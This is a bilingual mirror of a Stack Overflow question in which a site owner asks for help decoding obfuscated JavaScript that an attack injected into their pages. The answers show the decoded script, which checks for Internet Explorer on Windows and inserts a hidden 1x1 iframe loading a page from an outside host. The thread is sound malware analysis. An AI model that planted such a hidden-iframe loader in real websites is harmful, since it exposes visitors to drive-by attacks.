注入网站的 JavaScript 代码:你能帮我解密吗?

声明:本页面是StackOverFlow热门问题的中英对照翻译,遵循CC BY-SA 4.0协议,如果您需要使用它,必须同样遵循CC BY-SA许可,注明原文地址和作者信息,同时你必须将它归于原作者(不是我):StackOverFlow 原文地址: http://stackoverflow.com/questions/7765594/
Warning: these are provided under cc-by-sa 4.0 license. You are free to use/share it, But you must attribute it to the original authors (not me): StackOverFlow

提示:将鼠标放在中文语句上可以显示对应的英文。显示中英文
时间:2020-10-26 01:14:35  来源:igfitidea点击:

JavaScript code injected into site: Can you help me decrypt it?

javascriptmalware

提问by ARandomGenericShrub

Recently I was the victim of a web attack, which seemed to take various PHP server vars, then forward them to an attackers website. (IPs of visitor/website, referrer, useragent etc, etc.) Then it would get the file it sent the URL request to, and echo() it to source.

最近我成为网络攻击的受害者,它似乎采取了各种 PHP 服务器变量,然后将它们转发到攻击者的网站。(访问者/网站的 IP、引荐来源、用户代理等)然后它会获取它发送 URL 请求的文件,并将其 echo() 到源。

I know you get MANY of these sort of requests (Mostly as poor man XSS attempts), but I would really appreciate some help here, as I don't have much experience with JS. It took me several hours of PHP unscrambling to figure at what it did, and after passing some dummy info, it returned this (which was being echoed into source)

我知道您收到了很多此类请求(主要是作为穷人的 XSS 尝试),但我真的很感激这里的一些帮助,因为我对 JS 没有太多经验。我花了几个小时的 PHP 来弄清楚它做了什么,在传递了一些虚拟信息后,它返回了这个(它被回显到源代码中)

<script type='text/javascript'>eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\b'+e(c)+'\b','g'),k[c])}}return p}('i 9(){a=6.h(\'b\');7(!a){5 0=6.j(\'k\');6.g.l(0);0.n=\'b\';0.4.d=\'8\';0.4.c=\'8\';0.4.e=\'f\';0.m=\'w://z.o.B/C.D?t=E\'}}5 2=A.x.q();7(((2.3("p")!=-1&&2.3("r")==-1&&2.3("s")==-1))&&2.3("v")!=-1){5 t=u("9()",y)}',41,41,'el||ua|indexOf|style|var|document|if|1px|MakeFrameEx|element|yahoo_api|height|width|display|none|body|getElementById|function|createElement|iframe|appendChild|src|id|25u|msie|toLowerCase|opera|webtv||setTimeout|windows|http|userAgent|500|asso|navigator|com|showthread|php|72291731'.split('|'),0,{}))

Thank you for your time and patience with this matter.

感谢您在此问题上花费的时间和耐心。

回答by Christian

Simply replace evalwith alert.

只需替换evalalert.

It yields the following:

它产生以下结果:

function MakeFrameEx(){
    element=document.getElementById('yahoo_api');
    if(!element){
        var el=document.createElement('iframe');
        document.body.appendChild(el);
        el.id='yahoo_api';
        el.style.width='1px';
        el.style.height='1px';
        el.style.display='none';
        el.src='http://asso.25u.com/showthread.php?t=72291731'
    }
}

var ua=navigator.userAgent.toLowerCase();

if(((ua.indexOf("msie")!=-1
    &&ua.indexOf("opera")==-1
    &&ua.indexOf("webtv")==-1))
    &&ua.indexOf("windows")!=-1)
{
    var t=setTimeout("MakeFrameEx()",500);
}

After doing the alert()CTRL+C the dialog to get the contents, then use a JS Beautifierto get some readable code.

在执行alert()CTRL+C 对话框获取内容后,然后使用JS Beautifier获取一些可读代码。



Also note that for some browsers, like Firefox, there are plugins to do this automatically. Some browsers even does this automatically (MSIE).

另请注意,对于某些浏览器,例如 Firefox,有插件可以自动执行此操作。某些浏览器甚至会自动执行此操作 (MSIE)。

回答by Daniel Kurka

This was some obfuscated code. I deobfuscated it and this is what it does:

这是一些混淆的代码。我对它进行了反混淆,这就是它的作用:

function MakeFrameEx() {
element = document.getElementById('yahoo_api');
if (!element) {
    var el = document.createElement('iframe');
    document.body.appendChild(el);
    el.id = 'yahoo_api';
    el.style.width = '1px';
    el.style.height = '1px';
    el.style.display = 'none';
    el.src = 'http://asso.25u.com/showthread.php?t=72291731'
    }
}
var ua = navigator.userAgent.toLowerCase();
if (((ua.indexOf("msie") != -1 && ua.indexOf("opera") == -1 && ua
    .indexOf("webtv") == -1))
    && ua.indexOf("windows") != -1) {
var t = setTimeout("MakeFrameEx()", 500)
}

回答by Minh-Triet Pham Tran

Here is the deobfuscated JavaScript code:

这是反混淆后的 JavaScript 代码:

 function MakeFrameEx()
 {
   element=document.getElementById('yahoo_api');
   if(!element)
   {
     var el=document.createElement('iframe');
     document.body.appendChild(el);
     el.id='yahoo_api';
     el.style.width='1px';
     el.style.height='1px';
     el.style.display='none';
     el.src='http://asso.25u.com/showthread.php?t=72291731'
   }
 }
 var ua=navigator.userAgent.toLowerCase();
 if(((ua.indexOf("msie")!=-1&&ua.indexOf("opera")==-1&&ua.indexOf("webtv")==-1))&&ua.indexOf("windows")!=-1)
 {
 var t=setTimeout("MakeFrameEx()",500)}